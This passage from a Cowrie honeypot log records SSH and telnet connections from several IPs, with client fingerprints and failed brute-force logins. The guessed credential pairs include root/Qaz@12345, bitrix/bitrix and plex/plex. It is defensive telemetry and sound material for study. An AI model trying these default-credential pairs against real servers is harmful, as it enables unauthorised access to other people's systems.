f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:21.471130Z","src_ip":"117.121.214.50","session":"74f3b9bf4579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42922,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e190761869e","protocol":"ssh","message":"New connection: 91.92.42.133:42922 (159.203.135.109:22) [session: 4e190761869e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:21.755171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:22.058682Z","src_ip":"91.92.42.133","session":"4e190761869e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:22.065701Z","src_ip":"91.92.42.133","session":"4e190761869e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz@12345","message":"login attempt [root/Qaz@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:22.464490Z","src_ip":"117.121.214.50","session":"74f3b9bf4579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:23.658874Z","src_ip":"91.92.42.133","session":"4e190761869e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:23.706006Z","src_ip":"117.121.214.50","session":"74f3b9bf4579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:25.241509Z","src_ip":"91.92.42.133","session":"4e190761869e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":33264,"dst_ip":"159.203.135.109","dst_port":22,"session":"11eb72a42cda","protocol":"ssh","message":"New connection: 112.216.108.62:33264 (159.203.135.109:22) [session: 11eb72a42cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:27.056492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:27.061143Z","src_ip":"112.216.108.62","session":"11eb72a42cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:27.264867Z","src_ip":"112.216.108.62","session":"11eb72a42cda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing123","message":"login attempt [root/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:28.114135Z","src_ip":"112.216.108.62","session":"11eb72a42cda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60474,"dst_ip":"159.203.135.109","dst_port":22,"session":"81368ed3bff4","protocol":"ssh","message":"New connection: 91.92.42.133:60474 (159.203.135.109:22) [session: 81368ed3bff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:28.356440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:29.054487Z","src_ip":"91.92.42.133","session":"81368ed3bff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:29.071633Z","src_ip":"91.92.42.133","session":"81368ed3bff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:29.322804Z","src_ip":"112.216.108.62","session":"11eb72a42cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.92972993850708,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:31.252014Z","src_ip":"172.81.62.90","session":"240142aa9e4b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:31.312538Z","src_ip":"91.92.42.133","session":"81368ed3bff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:33.160437Z","src_ip":"91.92.42.133","session":"81368ed3bff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":47240,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd23274c233e","protocol":"ssh","message":"New connection: 103.122.221.179:47240 (10.17.0.5:22) [session: dd23274c233e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:33.841403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:33.845801Z","src_ip":"103.122.221.179","session":"dd23274c233e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:34.101603Z","src_ip":"103.122.221.179","session":"dd23274c233e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11031993","message":"login attempt [root/11031993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:34.869008Z","src_ip":"103.122.221.179","session":"dd23274c233e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60050,"dst_ip":"159.203.135.109","dst_port":22,"session":"f74263d70940","protocol":"ssh","message":"New connection: 91.92.42.133:60050 (159.203.135.109:22) [session: f74263d70940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:35.223610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:35.660349Z","src_ip":"91.92.42.133","session":"f74263d70940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:35.663293Z","src_ip":"91.92.42.133","session":"f74263d70940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:36.126368Z","src_ip":"103.122.221.179","session":"dd23274c233e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:37.985456Z","src_ip":"91.92.42.133","session":"f74263d70940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:39.213495Z","src_ip":"91.92.42.133","session":"f74263d70940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":59078,"dst_ip":"10.17.0.5","dst_port":22,"session":"a19643cc06d1","protocol":"ssh","message":"New connection: 45.140.193.156:59078 (10.17.0.5:22) [session: a19643cc06d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:39.982498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:39.988966Z","src_ip":"45.140.193.156","session":"a19643cc06d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:40.102264Z","src_ip":"45.140.193.156","session":"a19643cc06d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"m","password":"1234","message":"login attempt [m/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:40.592061Z","src_ip":"45.140.193.156","session":"a19643cc06d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:41.719604Z","src_ip":"45.140.193.156","session":"a19643cc06d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60136,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ccf12acc09","protocol":"ssh","message":"New connection: 91.92.42.133:60136 (159.203.135.109:22) [session: 43ccf12acc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:42.825698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:43.337297Z","src_ip":"91.92.42.133","session":"43ccf12acc09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:43.339312Z","src_ip":"91.92.42.133","session":"43ccf12acc09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:45.964804Z","src_ip":"91.92.42.133","session":"43ccf12acc09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:47.399731Z","src_ip":"91.92.42.133","session":"43ccf12acc09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57174,"dst_ip":"159.203.135.109","dst_port":22,"session":"097f48ad4b73","protocol":"ssh","message":"New connection: 89.223.69.22:57174 (159.203.135.109:22) [session: 097f48ad4b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:49.006877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:49.010680Z","src_ip":"89.223.69.22","session":"097f48ad4b73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:49.127476Z","src_ip":"89.223.69.22","session":"097f48ad4b73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11qqaazz","message":"login attempt [root/11qqaazz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:49.479169Z","src_ip":"89.223.69.22","session":"097f48ad4b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:50.598010Z","src_ip":"89.223.69.22","session":"097f48ad4b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34166,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f5ae326bc70","protocol":"ssh","message":"New connection: 91.92.42.133:34166 (159.203.135.109:22) [session: 6f5ae326bc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:51.759508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:50:51.838475Z","src_ip":"91.92.42.133","session":"6f5ae326bc70","protocol":"ssh"}
